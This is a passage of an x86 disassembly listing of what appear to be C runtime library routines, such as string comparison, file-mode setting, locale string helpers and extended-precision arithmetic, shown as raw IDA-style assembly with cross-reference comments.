XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:off_43A970o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_43A8B2 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_43A7F6: ; CODE XREF: sub_43A4F0+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_43A8B0 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_43A8B0 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_43A829 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_43A8B0 ; --------------------------------------------------------------------------- loc_43A829: ; CODE XREF: sub_43A4F0+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_43A87C mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_43A87C mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_43A87C: ; CODE XREF: sub_43A4F0+353j ; sub_43A4F0+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_43A7F6 ; --------------------------------------------------------------------------- loc_43A8B0: ; CODE XREF: sub_43A4F0+30Ej ; sub_43A4F0+31Aj ... jmp short loc_43A8BB ; --------------------------------------------------------------------------- loc_43A8B2: ; CODE XREF: sub_43A4F0+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_43A8BB: ; CODE XREF: sub_43A4F0:loc_43A8B0j jmp loc_43A4F6 ; --------------------------------------------------------------------------- loc_43A8C0: ; CODE XREF: sub_43A4F0+80j ; sub_43A4F0+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_43A8EC mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_439D20 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_43A967 ; --------------------------------------------------------------------------- loc_43A8EC: ; CODE XREF: sub_43A4F0+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_43A938 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_43A938: ; CODE XREF: sub_43A4F0+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_43A967: ; CODE XREF: sub_43A4F0+3FAj jmp loc_43A4F6 ; --------------------------------------------------------------------------- loc_43A96C: ; CODE XREF: sub_43A4F0+Ej ; sub_43A4F0+1Aj mov esp, ebp pop ebp retn sub_43A4F0 endp ; --------------------------------------------------------------------------- off_43A970 dd offset loc_43A7DF ; DATA XREF: sub_43A4F0+91r dd offset loc_43A6C3 dd offset loc_43A64E dd offset loc_43A588 dd offset loc_43A5C6 dd offset loc_43A627 dd offset loc_43A675 dd offset loc_43A69C dd offset loc_43A70A dd offset loc_43A604 dd offset loc_43A8C0 byte_43A99C db 0 ; DATA XREF: sub_43A4F0+8Br ; --------------------------------------------------------------------------- or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] or cl, [edx] or cl, [edx] add cl, [edx] or cl, [edx] or al, [ebx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] add al, 0Ah or cl, [edx] add eax, 0A0A0A0Ah push es or cl, [edx] or cl, [edx] or al, [edi] or [edx], cl or cl, [edx] or cl, [ecx] loc_43A9EF: ; DATA XREF: sub_43A4F0+B0r cmpsd movsd inc ebx add [ecx-48FFBC5Bh], dh movsd inc ebx loc_43A9FA: ; DATA XREF: sub_43A4F0+EEr add [ebp-1AFFBC5Bh], bh movsd inc ebx add bh, ch movsd inc ebx add ch, dh movsd inc ebx add bl, bh movsd inc ebx add ah, cl ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AA10 proc near ; CODE XREF: sub_435B60+41p ; sub_435B60+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_43AB79 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_43C240 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_43AAFF nop call near ptr 27A0A66h cmp eax, 7Ah jz short loc_43AA80 jmp loc_43AB5D ; --------------------------------------------------------------------------- loc_43AA80: ; CODE XREF: sub_43AA10+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_43C240 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_43AAAA jmp loc_43AB5D ; --------------------------------------------------------------------------- loc_43AAAA: ; CODE XREF: sub_43AA10+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_41EDD0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_43AAD0 jmp loc_43AB5D ; --------------------------------------------------------------------------- loc_43AAD0: ; CODE XREF: sub_43AA10+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_43C240 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_43AAFF jmp short loc_43AB5D ; --------------------------------------------------------------------------- loc_43AAFF: ; CODE XREF: sub_43AA10+5Aj ; sub_43AA10+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_41EDD0 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_43AB29 jmp short loc_43AB5D ; --------------------------------------------------------------------------- loc_43AB29: ; CODE XREF: sub_43AA10+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_421470 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_43AB56 push 2 mov edx, [ebp+var_C] push edx call sub_41F970 add esp, 8 loc_43AB56: ; CODE XREF: sub_43AA10+136j xor eax, eax jmp loc_43AC96 ; --------------------------------------------------------------------------- loc_43AB5D: ; CODE XREF: sub_43AA10+6Bj ; sub_43AA10+95j ... cmp [ebp+var_4], 0 jz short loc_43AB71 push 2 mov eax, [ebp+var_C] push eax call sub_41F970 add esp, 8 loc_43AB71: ; CODE XREF: sub_43AA10+151j or eax, 0FFFFFFFFh jmp loc_43AC96 ; --------------------------------------------------------------------------- loc_43AB79: ; CODE XREF: sub_43AA10+Dj cmp [ebp+arg_0], 0 jnz loc_43AC93 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4E94A0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_43C0A0 add esp, 14h test eax, eax jnz short loc_43ABC0 or eax, 0FFFFFFFFh jmp loc_43AC96 ; --------------------------------------------------------------------------- loc_43ABC0: ; CODE XREF: sub_43AA10+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_43ABE4 ; --------------------------------------------------------------------------- loc_43ABD5: ; CODE XREF: sub_43AA10:loc_43AC8Aj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_43ABE4: ; CODE XREF: sub_43AA10+1C3j cmp [ebp+var_A0], 4 jge loc_43AC8F cmp dword_4524F0, 1 jle short loc_43AC2B push 4 mov ecx, [ebp+var_A0] mov dl, byte_4E94A0[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_429750 add esp, 8 mov [ebp+var_A8], eax jmp short loc_43AC5E ; --------------------------------------------------------------------------- loc_43AC2B: ; CODE XREF: sub_43AA10+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4E94A0[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_43AC5E: ; CODE XREF: sub_43AA10+219j cmp [ebp+var_A8], 0 jz short loc_43AC88 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_43AC8A ; --------------------------------------------------------------------------- loc_43AC88: ; CODE XREF: sub_43AA10+255j jmp short loc_43AC8F ; --------------------------------------------------------------------------- loc_43AC8A: ; CODE XREF: sub_43AA10+276j jmp loc_43ABD5 ; --------------------------------------------------------------------------- loc_43AC8F: ; CODE XREF: sub_43AA10+1DBj ; sub_43AA10:loc_43AC88j xor eax, eax jmp short loc_43AC96 ; --------------------------------------------------------------------------- loc_43AC93: ; CODE XREF: sub_43AA10+16Dj or eax, 0FFFFFFFFh loc_43AC96: ; CODE XREF: sub_43AA10+148j ; sub_43AA10+164j ... mov esp, ebp pop ebp retn sub_43AA10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_453408 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ACB0 proc near ; CODE XREF: sub_436B90+216p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43FF78 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4E94AC, 0 jnz short loc_43AD2E lea eax, [ebp+var_1C] push eax push 1 push offset dword_43F390 push 1 call near ptr 2760000h nop test eax, eax jz short loc_43AD02 mov dword_4E94AC, 1 jmp short loc_43AD2E ; --------------------------------------------------------------------------- loc_43AD02: ; CODE XREF: sub_43ACB0+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_43F38C push 1 push 0 nop call near ptr 2760AD3h test eax, eax jz short loc_43AD27 mov dword_4E94AC, 2 jmp short loc_43AD2E ; --------------------------------------------------------------------------- loc_43AD27: ; CODE XREF: sub_43ACB0+69j xor eax, eax jmp loc_43AF09 ; --------------------------------------------------------------------------- loc_43AD2E: ; CODE XREF: sub_43ACB0+2Dj ; sub_43ACB0+50j ... cmp dword_4E94AC, 1 jnz short loc_43AD52 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 2760000h jmp loc_43AF09 ; --------------------------------------------------------------------------- loc_43AD52: ; CODE XREF: sub_43ACB0+85j cmp dword_4E94AC, 2 jnz loc_43AF07 cmp [ebp+arg_10], 0 jnz short loc_43AD6D mov eax, dword_4E92F4 mov [ebp+arg_10], eax loc_43AD6D: ; CODE XREF: sub_43ACB0+B3j push 0 push 0 push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 220h mov eax, [ebp+arg_10] push eax nop call near ptr 28E1569h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43AD9C xor eax, eax jmp loc_43AF09 ; --------------------------------------------------------------------------- loc_43AD9C: ; CODE XREF: sub_43ACB0+E3j mov [ebp+var_4], 0 mov eax, [ebp+var_28] add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_28] push edx push 0 mov eax, [ebp+var_2C] push eax call sub_421410 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43ADEE ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43ADEE: ; CODE XREF: sub_43ACB0+125j cmp [ebp+var_2C], 0 jnz short loc_43ADFB xor eax, eax jmp loc_43AF09 ; --------------------------------------------------------------------------- loc_43ADFB: ; CODE XREF: sub_43ACB0+142j push 0 push 0 mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 220h mov edx, [ebp+arg_10] push edx nop call near ptr 28E1569h test eax, eax jnz short loc_43AE29 xor eax, eax jmp loc_43AF09 ; --------------------------------------------------------------------------- loc_43AE29: ; CODE XREF: sub_43ACB0+170j mov [ebp+var_4], 1 mov eax, [ebp+var_28] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43AE6D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43AE6D: ; CODE XREF: sub_43ACB0+1A4j cmp [ebp+var_24], 0 jnz short loc_43AE7A xor eax, eax jmp loc_43AF09 ; --------------------------------------------------------------------------- loc_43AE7A: ; CODE XREF: sub_43ACB0+1C1j cmp [ebp+arg_14], 0 jnz short loc_43AE89 mov edx, dword_4E92E4 mov [ebp+arg_14], edx loc_43AE89: ; CODE XREF: sub_43ACB0+1CEj mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+arg_8] mov eax, [ebp+var_24] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_14] push edx nop call near ptr 2760AD3h mov [ebp+var_20], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_43AEE8 mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_43AEEC loc_43AEE8: ; CODE XREF: sub_43ACB0+222j xor eax, eax jmp short loc_43AF09 ; --------------------------------------------------------------------------- loc_43AEEC: ; CODE XREF: sub_43ACB0+236j mov eax, [ebp+arg_8] shl eax, 1 push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_4237A0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_43AF09 ; --------------------------------------------------------------------------- loc_43AF07: ; CODE XREF: sub_43ACB0+A9j xor eax, eax loc_43AF09: ; CODE XREF: sub_43ACB0+79j ; sub_43ACB0+9Dj ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43ACB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AF20 proc near ; CODE XREF: sub_4371C0+40p ; sub_437310+5Fp ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4E92DC cmp dword ptr [eax+8], 0 jnz short loc_43AF73 mov al, 0FFh mov edi, edi loc_43AF3C: ; CODE XREF: sub_43AF20+28j ; sub_43AF20+48j or al, al jz short loc_43AF6E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_43AF3C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_43AF3C sbb al, al sbb al, 0FFh loc_43AF6E: ; CODE XREF: sub_43AF20+1Ej movsx eax, al jmp short loc_43AFEB ; --------------------------------------------------------------------------- loc_43AF73: ; CODE XREF: sub_43AF20+16j lock inc dword_4E96A8 cmp dword_4E96A4, 0 jg short loc_43AF87 push 0 jmp short loc_43AF9C ; --------------------------------------------------------------------------- loc_43AF87: ; CODE XREF: sub_43AF20+61j lock dec dword_4E96A8 push 13h call sub_425990 mov [esp+10h+var_10], 1 loc_43AF9C: ; CODE XREF: sub_43AF20+65j mov eax, 0FFh xor ebx, ebx nop loc_43AFA4: ; CODE XREF: sub_43AF20+90j ; sub_43AF20+A8j or al, al jz short loc_43AFCF mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_43AFA4 push eax push ebx call sub_424440 mov ebx, eax add esp, 4 call sub_424440 add esp, 4 cmp bl, al jz short loc_43AFA4 sbb eax, eax sbb eax, 0FFFFFFFFh loc_43AFCF: ; CODE XREF: sub_43AF20+86j mov ebx, eax pop eax or eax, eax jnz short loc_43AFDF lock dec dword_4E96A8 jmp short loc_43AFE9 ; --------------------------------------------------------------------------- loc_43AFDF: ; CODE XREF: sub_43AF20+B4j push 13h call sub_425A30 add esp, 4 loc_43AFE9: ; CODE XREF: sub_43AF20+BDj mov eax, ebx loc_43AFEB: ; CODE XREF: sub_43AF20+51j pop ebx pop esi pop edi leave retn sub_43AF20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AFF0 proc near ; CODE XREF: sub_437310+11Bp ; sub_437310+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_43B0EA mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_4E92DC cmp dword ptr [eax+8], 0 jnz short loc_43B061 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_43B01C: ; CODE XREF: sub_43AFF0+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_43B045 or al, al jz short loc_43B045 inc esi inc edi cmp ah, bh jb short loc_43B034 cmp ah, bl ja short loc_43B034 add ah, dh loc_43B034: ; CODE XREF: sub_43AFF0+3Cj ; sub_43AFF0+40j cmp al, bh jb short loc_43B03E cmp al, bl ja short loc_43B03E add al, dh loc_43B03E: ; CODE XREF: sub_43AFF0+46j ; sub_43AFF0+4Aj cmp ah, al jnz short loc_43B04F dec ecx jnz short loc_43B01C loc_43B045: ; CODE XREF: sub_43AFF0+32j ; sub_43AFF0+36j xor ecx, ecx cmp ah, al jz loc_43B0EA loc_43B04F: ; CODE XREF: sub_43AFF0+50j mov ecx, 0FFFFFFFFh jb loc_43B0EA neg ecx jmp loc_43B0EA ; --------------------------------------------------------------------------- loc_43B061: ; CODE XREF: sub_43AFF0+21j lock inc dword_4E96A8 cmp dword_4E96A4, 0 jg short loc_43B075 push 0 jmp short loc_43B08E ; --------------------------------------------------------------------------- loc_43B075: ; CODE XREF: sub_43AFF0+7Fj lock dec dword_4E96A8 mov ebx, ecx push 13h call sub_425990 mov [esp+10h+var_10], 1 mov ecx, ebx loc_43B08E: ; CODE XREF: sub_43AFF0+83j xor eax, eax xor ebx, ebx mov edi, edi loc_43B094: ; CODE XREF: sub_43AFF0+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_43B0BF or ebx, ebx jz short loc_43B0BF inc esi inc edi push ecx push eax push ebx call sub_424440 mov ebx, eax add esp, 4 call sub_424440 add esp, 4 pop ecx cmp eax, ebx jnz short loc_43B0C5 dec ecx jnz short loc_43B094 loc_43B0BF: ; CODE XREF: sub_43AFF0+AAj ; sub_43AFF0+AEj xor ecx, ecx cmp eax, ebx jz short loc_43B0CE loc_43B0C5: ; CODE XREF: sub_43AFF0+CAj mov ecx, 0FFFFFFFFh jb short loc_43B0CE neg ecx loc_43B0CE: ; CODE XREF: sub_43AFF0+D3j ; sub_43AFF0+DAj pop eax or eax, eax jnz short loc_43B0DC lock dec dword_4E96A8 jmp short loc_43B0EA ; --------------------------------------------------------------------------- loc_43B0DC: ; CODE XREF: sub_43AFF0+E1j mov ebx, ecx push 13h call sub_425A30 add esp, 4 mov ecx, ebx loc_43B0EA: ; CODE XREF: sub_43AFF0+Bj ; sub_43AFF0+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_43AFF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4E96A0 jnb short loc_43B131 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_43B141 loc_43B131: ; CODE XREF: .XComp0:0043B10Dj call sub_42C1E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_43B16F ; --------------------------------------------------------------------------- loc_43B141: ; CODE XREF: .XComp0:0043B12Fj mov edx, [ebp+8] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_43B180 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_433760 add esp, 4 mov eax, [ebp-4] loc_43B16F: ; CODE XREF: .XComp0:0043B13Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B180 proc near ; CODE XREF: sub_437FD0+D4p ; sub_437FD0+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_43B1E9 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4E95A0[edx*4] mov [edx+eax+4], cl jmp short loc_43B23A ; --------------------------------------------------------------------------- loc_43B1E9: ; CODE XREF: sub_43B180+2Ej cmp [ebp+arg_4], 4000h jnz short loc_43B22A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4E95A0[ecx*4] mov [ecx+edx+4], al jmp short loc_43B23A ; --------------------------------------------------------------------------- loc_43B22A: ; CODE XREF: sub_43B180+70j call sub_42C1E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_43B24B ; --------------------------------------------------------------------------- loc_43B23A: ; CODE XREF: sub_43B180+67j ; sub_43B180+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_43B24B: ; CODE XREF: sub_43B180+B8j mov esp, ebp pop ebp retn sub_43B180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B250 proc near ; CODE XREF: sub_439080+2B5p ; sub_43B690+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_43B30D mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_43B30D mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_43B344 loc_43B30D: ; CODE XREF: sub_43B250+9Bj ; sub_43B250+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_43B689 ; --------------------------------------------------------------------------- loc_43B344: ; CODE XREF: sub_43B250+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_43B377 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_43B689 ; --------------------------------------------------------------------------- loc_43B377: ; CODE XREF: sub_43B250+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_43B3BD mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_43B3BD mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_43B3BD mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_43B3BD mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_43B689 ; --------------------------------------------------------------------------- loc_43B3BD: ; CODE XREF: sub_43B250+131j ; sub_43B250+14Cj ... mov ecx, 